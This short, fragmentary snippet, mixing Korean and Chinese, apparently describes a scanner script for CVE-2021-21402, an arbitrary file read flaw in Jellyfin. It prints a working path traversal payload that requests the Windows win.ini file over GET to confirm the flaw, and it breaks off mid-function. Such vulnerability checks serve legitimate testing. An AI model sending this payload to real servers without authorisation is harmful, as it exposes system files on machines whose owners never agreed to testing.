CVE-2021-21402

CVE-2021-21402 CVE-2021-21402 Jellyfin 임의 파일 읽기 Wker 스크립트, 배치 가능. 로직은 간단합니다. GET으로 win.ini 존재 여부를 확인합니다: define payload = /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/ define info = CVE-2021-21402 Jellyfin任意文件读取 function mainargs dirs =...